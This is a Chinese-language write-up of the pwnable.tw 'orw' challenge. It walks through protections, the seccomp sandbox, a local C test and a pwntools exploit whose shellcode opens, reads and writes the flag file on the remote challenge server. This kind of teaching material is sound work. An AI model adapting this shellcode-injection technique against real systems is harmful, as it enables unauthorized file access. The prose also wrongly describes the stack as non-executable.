和媳妇一起学Pwn 之 orw

题目地址:https://pwnable.tw/challenge/#2

Only open read write syscall are allowed to use.

检查保护

➜  file orw 
orw: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=e60ecccd9d01c8217387e8b77e9261a1f36b5030, not stripped
➜  checksec orw
[*] '/Users/wangyuxuan/Desktop/pwnable/orw/orw'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

是一个32位的elf,动态链接,没有去符号表,除了栈不可执行没有开启其他保护,而且有读写可执行段。用IDA看一下主函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  orw_seccomp();
  printf("Give my your shellcode:");
  read(0, &shellcode, 0xC8u);
  ((void (*)(void))shellcode)();
  return 0;
}

发现shellcode是一个函数指针,对应的地址在bss段中,写完shellcode就可以直接执行了,但是根据题目的提示,shellcode中如果使用系统调用只能用open,write,read三个系统调用,那这个是怎么限制的呢?

seccomp沙箱

猜测跟orw_seccomp函数有关,点进去如下:

unsigned int orw_seccomp()
{
  __int16 v1; // [esp+4h] [ebp-84h]
  char *v2; // [esp+8h] [ebp-80h]
  char v3; // [esp+Ch] [ebp-7Ch]
  unsigned int v4; // [esp+6Ch] [ebp-1Ch]

  v4 = __readgsdword(0x14u);
  qmemcpy(&v3, &unk_8048640, 0x60u);
  v1 = 12;
  v2 = &v3;
  prctl(38, 1, 0, 0, 0);
  prctl(22, 2, &v1);
  return __readgsdword(0x14u) ^ v4;
}

看到prctl这个函数,应该全名是process control(进程控制),猜测可能跟这个有关,参考链接:

总之就是通过这种方法限制了程序可以使用的系统调用

利用

本地c代码尝试

因为对系统调用啥的还不是很熟悉,一开始的直觉是,为啥还有用read系统调用。感觉open打开后直接write到标准输出不就完了么。所以先尝试着在本地写一个c程序,只用open,write,read三个系统调用去读一个本地的文件(/flag)。系统调用参数是啥,需要用到什么头文件可以去man手册中查找:

# include <stdio.h>
# include <unistd.h>
# include <fcntl.h>

int main(){
	int fd;
	char a[100];
	fd = open("/flag",0);
	read(fd,a,50);
	write(1,a,50);
	return 0;
}

写完就知道刚才那个疑问的答案了,通过open打开的是一个文件描述符,文件内容还在磁盘中。而write输出到标准输出需要从内存中输出,不能直接对两个文件描述符进行操作(标准输出和flag的文件描述符),所以要先把flag读到内存中,然后在从内存中输出。

exp

这里利用栈上存放了flag位置的字符串,然后随便找了bss段后面作为存储flag的内存位置:

from pwn import *
context(arch='i386',os='linux',log_level='debug')
myelf = ELF("./orw")
#io = process(myelf.path)
io  = remote("chall.pwnable.tw",10001)
shellcode = ""
shellcode += shellcraft.i386.pushstr('/home/orw/flag').rstrip()
shellcode += shellcraft.i386.linux.syscall('SYS_open',"esp", 0).rstrip()
shellcode += shellcraft.i386.linux.syscall('SYS_read',"eax", 0x0804A0D7,40).rstrip()
shellcode += shellcraft.i386.linux.syscall('SYS_write',1, 0x0804A0D7,40).rstrip()
#print shellcode
#print len(asm(shellcode))
io.recv()
io.send(asm(shellcode))
io.interactive()

疑问

在IDA中看到bss段明明是不可执行的:

.bss:0804A040 ; Segment type: Uninitialized
.bss:0804A040 ; Segment permissions: Read/Write
.bss:0804A040 ; Segment alignment '32byte' can not be represented in assembly

而如果通过gdb调试则发现:


gdb-peda$ vmmap
Start      End        Perm	Name
......
0x0804a000 0x0804b000 rwxp	/mnt/hgfs/桌面/pwnable/orw/orw
......

暂时还不知道为啥